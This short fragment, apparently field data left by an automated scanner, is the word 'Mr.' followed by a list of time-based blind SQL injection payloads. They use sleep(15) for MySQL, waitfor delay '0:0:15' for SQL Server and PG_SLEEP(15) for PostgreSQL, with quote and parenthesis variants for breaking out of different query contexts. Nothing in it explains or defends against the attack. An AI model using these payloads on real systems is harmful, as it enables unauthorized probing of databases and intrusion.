Mr.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1)); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

OzX3axLz'; waitfor delay '0:0:15' --

9kQayZN9'); waitfor delay '0:0:15' --

qOzGIB5H')); waitfor delay '0:0:15' --

-5 OR 964=(SELECT 964 FROM PG_SLEEP(15))--

-5) OR 974=(SELECT 974 FROM PG_SLEEP(15))--